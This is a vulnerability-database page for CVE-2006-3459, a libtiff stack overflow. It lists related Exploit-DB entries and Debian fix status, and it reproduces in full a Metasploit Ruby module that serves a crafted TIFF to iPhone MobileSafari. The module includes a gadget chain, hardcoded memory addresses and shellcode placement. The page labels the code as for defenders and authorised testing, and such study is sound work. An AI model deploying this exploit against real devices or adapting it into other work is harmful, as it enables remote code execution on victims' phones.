CVE-2006-3459

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Multiple stack-based buffer overflows in the TIFF library (libtiff) before 3.8.2, as used in Adobe Reader 9.3.0 and other products, allow context-dependent attackers to execute arbitrary code or cause a denial of service via unspecified vectors, including a large tdir_count value in the TIFFFetchShortPair function in tif_dirread.c.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16862 remote hardware verified
Metasploit · 2010-09-20

Apple iPhone MobileSafari LibTIFF - 'browser' Remote Buffer Overflow (Metasploit) (1)

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EDB-11787 local windows verified
villy · 2010-03-17

Adobe Reader PDF - LibTiff Integer Overflow Code Execution

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EDB-16868 remote hardware verified ruby · 4 KB
Metasploit · 2010-09-20

Apple iPhone MobileSafari LibTIFF - 'email' Remote Buffer Overflow (Metasploit) (2)

ruby exploit Source: Exploit-DB
##
# $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'iPhone MobileSafari LibTIFF Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the version of
			libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
			1.1.1 of the Apple iPhone. iPhones which have not had the BSD
			tools installed will need to use a special payload.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>  ['hdm', 'kf'],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2006-3459'],
					['OSVDB', '27723'],
					['BID', '19283']
				],
			'Payload'        =>
				{
					'Space'    => 1800,
					'BadChars' => ""
				},
			'Targets'        =>
				[

					[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
						{
							'Platform' => 'osx',

							# Scratch space for our shellcode and stack
							'Heap'     => 0x00802000,

							# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
							'Magic'    => 0x300d562c,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 01 2006'
			))
	end

	def on_request_uri(cli, req)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Grab reference to the target
		t = target

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the compressed response to the client
		send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })

		# Handle the payload
		handler(cli)
	end

	def generate_tiff(code, targ)

		#
		# This is a TIFF file, we have a huge range of evasion
		# capabilities, but for now, we don't use them.
		#  - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
		#

		lolz = 2048
		tiff =
			"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
			"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
			"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
			"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
			"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
			"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
			"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
			"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
			[lolz].pack("V") +
			"\x84\x00\x00\x00\x00\x00\x00\x00"

		# Randomize the bajeezus out of our data
		hehe = rand_text(lolz)

		# Were going to candy mountain!
		hehe[120, 4] = [targ['Magic']].pack("V")

		# >> add r0, r4, #0x30
		hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")

		# Candy mountain, Charlie!
		# >> mov r1, sp

		# It will be an adventure!
		# >> mov r2, r8
		hehe[ 92, 4] = [ hehe.length ].pack("V")

		# Its a magic leoplurodon!
		# It has spoken!
		# It has shown us the way!
		# >> bl _memcpy

		# Its just over this bridge, Charlie!
		# This magical bridge!
		# >> ldr r3, [r4, #32]
		# >> ldrt r3, [pc], r3, lsr #30
		# >> str r3, [r4, #32]
		# >> ldr r3, [r4, #36]
		# >> ldrt r3, [pc], r3, lsr #30
		# >> str r3, [r4, #36]
		# >> ldr r3, [r4, #40]
		# >> ldrt r3, [pc], r3, lsr #30
		# >> str r3, [r4, #40]
		# >> ldr r3, [r4, #44]
		# >> ldrt r3, [pc], r3, lsr #30
		# >> str r3, [r4, #44]

		# We made it to candy mountain!
		# Go inside Charlie!
		# sub sp, r7, #0x14
		hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")

		# Goodbye Charlie!
		# ;; targ['Heap'] + 0x48 becomes the stack pointer
		# >> ldmia sp!, {r8, r10}

		# Hey, what the...!
		# >> ldmia sp!, {r4, r5, r6, r7, pc}

		# Return back to the copied heap data
		hehe[192, 4] = [  targ['Heap'] + 196  ].pack("V")

		# Insert our actual shellcode at heap location + 196
		hehe[196, payload.encoded.length] = payload.encoded

		tiff << hehe
	end

end
EDB-21869 remote ios verified
Metasploit · 2012-10-09

Apple iOS Mobile Mail - LibTIFF Buffer Overflow (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-16869 remote hardware verified
Metasploit · 2010-09-20

iPhone MobileMail - LibTIFF Buffer Overflow (Metasploit)

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EDB-21868 remote ios verified
Metasploit · 2012-10-09

Apple iOS Mobile Safari - LibTIFF Buffer Overflow (Metasploit)

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Metasploit modules

Apple iOS MobileMail LibTIFF Buffer Overflow
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Apple iOS MobileSafari LibTIFF Buffer Overflow
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OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 3.8.2-6
sid Fixed 3.8.2-6
forky Fixed 3.8.2-6
bullseye Fixed 3.8.2-6
bookworm Fixed 3.8.2-6

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

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